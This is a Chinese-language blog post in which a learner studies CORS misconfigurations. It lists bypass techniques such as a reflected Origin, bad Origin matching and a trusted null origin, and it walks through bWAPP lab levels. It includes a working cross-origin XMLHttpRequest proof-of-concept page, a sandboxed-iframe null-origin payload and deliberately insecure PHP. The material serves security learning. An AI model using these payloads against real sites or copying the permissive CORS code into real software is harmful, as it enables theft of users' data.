0%

记一次CORS学习

起因

最近挖洞挖的有些自闭了,想起前段时间学长说的CORS。对于CORS以前只是知道,没有深入的学习过。现在想着挖洞也挖不出来,还不如学习一下CORS,填充一下自己。于是开启了学习CORS的征程

正文

什么是CORS ?

CORS(Cross-origin resource sharing ),跨域资源共享。它是一个W3C标准,允许浏览器向跨源服务器发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。目前,所有浏览器都支持该功能。CORS通信与AJAX通信一样,都是浏览器自动完成的,不需要用户参与。浏览器一旦发现AJAX通信请求跨源,就会自动添加一个附加的头信息,甚至有时会多附加一次请求,但是用户并不会有感觉

它能克服同源策略,随之而来的就是克服同源策略中配置不恰当导致跨域资源窃取。

怎么利用CORS ?

从CORS介绍中我们就知道,要想实现CORS通信关键的是服务器,只要服务器实现了CORS接口,就可以进行跨域通信。那怎么实现CORS通信呢?

简单请求

举个例子:

api.important.com为重要域,api.evil.com为漏洞存在域

我们只需要向简单请求的api.important.com域中插入`Origin: http://api.evil.com,即

1
2
3
4
5
6
GET /cors HTTP/1.1
Origin: api.evil.com
Host: api.important.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

服务器会根据Origin这个值,决定是否同意这次请求,如果Origin指定的域名在许可范围内,服务器的响应头就会多出几个头信息字段:

1
2
3
Access-Control-Allow-Origin: http://api.evil.com   该字段是必须的
Access-Control-Allow-Credentials: true 可选字段
Access-Control-Expose-Headers: FooBar 可选字段

响应过程

如果响应头没有返回Access-Control-Allow-Origin,说明此攻击域不在重要域的CORS策略中

非简单请求(预检请求)

非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为”预检”请求,浏览器先咨询服务器端请求域是否是在名单内,只有得到了肯定答复,浏览器才会发出XMLHttpRequest请求

当浏览器发现这是一个非简单请求时,会发出一个”预检“请求,

1
2
3
4
5
OPTIONS /cors HTTP/1.1
Origin: http://api.evil.com
Access-Control-Request-Method: 客服端请求方式
Access-Control-Request-Headers: 客户端添加的自定义请求首部字段
Host: api.important.com

“预检”请求响应包:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.evil.com
Access-Control-Allow-Methods: 客服端请求方式
Access-Control-Allow-Headers: 客户端添加的自定义请求首部字段
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

然后才开始发送实际请求

响应过程

img

几种利用

  • 反射Origin头:

    服务端:”Access-Control-Allow-Origin” $http_origin;

    这样很危险,相当于信任任意网站

  • Origin 校验错误:

    • 前缀匹配:对Origin值只做前缀匹配,只需要设置import.com.attack.com即可绕过
    • 后缀匹配:对Origin值只做后缀匹配,只需要设置attackimportant.com即可绕过
    • 没有转义‘.’: 例如,important.com想要允许www.important.com 访问时,但正则匹配没有转义’.’,导致允许wwwimportant.com访问
    • 包含匹配: 我们还发现有的网站www.important.com 想要允许 important.com,但是Origin校验出错,出现允许portant.com访问。
  • 信任null:

    服务器端:

    ​ Access-Control-Allow-Origin: null
    ​ Access-Control-Allow-Credentials: true

    除了本地file页面的跨域请求Origin头为null外,攻击者可以从任意域下通过ifame标签构造Origin

    1
    <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>XMLHttpRequest here</script>’></iframe>
  • HTTPS域信任HTTP域:

    通过中间人攻击先劫持受信任的HTTP域,然后通过这个域间接的读取HTTPS域的信息

  • 信任自身全部子域:

    通常情况下,很多网站为了方便CORS配置为信任所有自身子域,为防止xss扩大影响,浏览器设置了cookie:httponly标志。但是如果这个域配置了CORS且信任全部子域,那么就可以扩大xss危害。

  • Origin:*与 Credentials:true 共用:

    利用中间件进行绕过

  • 缺少 Vary:Origin头:

    共享资源时,需要Vary: Origin进行指导缓存,然后在中间中有四个没有配置Vary头

Example

对bwapp上的实例复现进行理解

0x00 Low

正常访问界面

点解secret,抓包

看到ACAO的值为*,及代表允许所以域都具有访问资源的权限,因为这里没有Access-Control-Allow-Credentials所以在payload中就不需要使用corsXml.withCredentials

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="cors">
</textarea><br>
</div>

<script>
function cors() {
var corsXml;
if(window.XMLHttpRequest){
corsXml = new XMLHttpRequest();
}
else{
corsXml = new ActiveXObject("Microsoft.XMLHTTP");
}
corsXml.onreadystatechange = function()
{
if (this.readyState == 4 && this.status == 200)
{
var pwnz = document.getElementById("cors")
var datas=corsXml.responseText;
pwnz.innerText = datas
}
};
corsXml.open("GET", "http://192.168.123.129/bWAPP/secret-cors-1.php", true);
// corsXml.withCredentials = true;
corsXml.send();
}
</script>

看一下这个test的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/*
bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for security-testing and educational purposes only.
Enjoy!
Malik Mesellem
Twitter: @MME_IT
bWAPP is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (http://creativecommons.org/licenses/by-nc-nd/4.0/). Copyright © 2014 MME BVBA. All rights reserved.
*/
header("Content-Type: text/plain");
header('Access-Control-Allow-Origin: *');
echo "Neo's secret: Oh why didn't I took that BLACK pill?";
?>

0x01 Medium

访问界面,提醒只能从intranet.itsecgames.com这个域请求

点击secret抓包,根据提示添加Origin: http://intranet.itsecgames.com

到这里一般会想到setRequestHeader设置Origin头,但是在W3C中规定了,以下请求头不能使用此方法进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Accept-Charset
Accept-Encoding
Access-Control-Request-Headers
Access-Control-Request-Method
Connection
Content-Length
Cookie
Cookie2
Date
DNT
Expect
Host
Keep-Alive
Origin
Referer
TE
Trailer
Transfer-Encoding
Upgrade
User-Agent
Via

此路不通,我们看一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

/*

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for security-testing and educational purposes only.

Enjoy!

Malik Mesellem
Twitter: @MME_IT

bWAPP is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (http://creativecommons.org/licenses/by-nc-nd/4.0/). Copyright © 2014 MME BVBA. All rights reserved.

*/

header("Content-Type: text/plain");

if(isset($_SERVER["HTTP_ORIGIN"]) and $_SERVER["HTTP_ORIGIN"] == "http://intranet.itsecgames.com")
{

header("Access-Control-Allow-Origin: http://intranet.itsecgames.com");

echo "Wolverine's secret: What's a Magneto?";

}

else
{

echo "This is just a normal page with no secrets :)";

}

?>

从这里可以看出允许访问的域只有http://intranet.itsecgames.com,又因为

我能想到的解决方法就是去购买这个域名,然后把ip解析到域名上,再通过域名访问cors.html,我这里是对源码进行修改,改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
header("Content-Type: text/plain");

if(isset($_SERVER["HTTP_ORIGIN"]) and $_SERVER["HTTP_ORIGIN"] == "http://localhost")
{

header("Access-Control-Allow-Origin: http://localhost");

echo "Wolverine's secret: What's a Magneto?";

}

else
{

echo "This is just a normal page with no secrets :)";

}

?>

使用low的payload进行hack就行

0x02 High

访问说从不相信本地的的域,然后看一下源码,没有ACAO头,应该不存在CORS

结尾

这次学习过程,虽说对CORS有了更深的了解,但是也只是理论上的,还没有真正的在实战中遇到过,所以对有些个点还是不是十分的明白。

References

http://www.ruanyifeng.com/blog/2016/04/cors.html

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS#%E7%AE%80%E5%8D%95%E8%AF%B7%E6%B1%82

https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

https://www.jianjunchen.com/post/cors%E5%AE%89%E5%85%A8%E9%83%A8%E7%BD%B2%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5/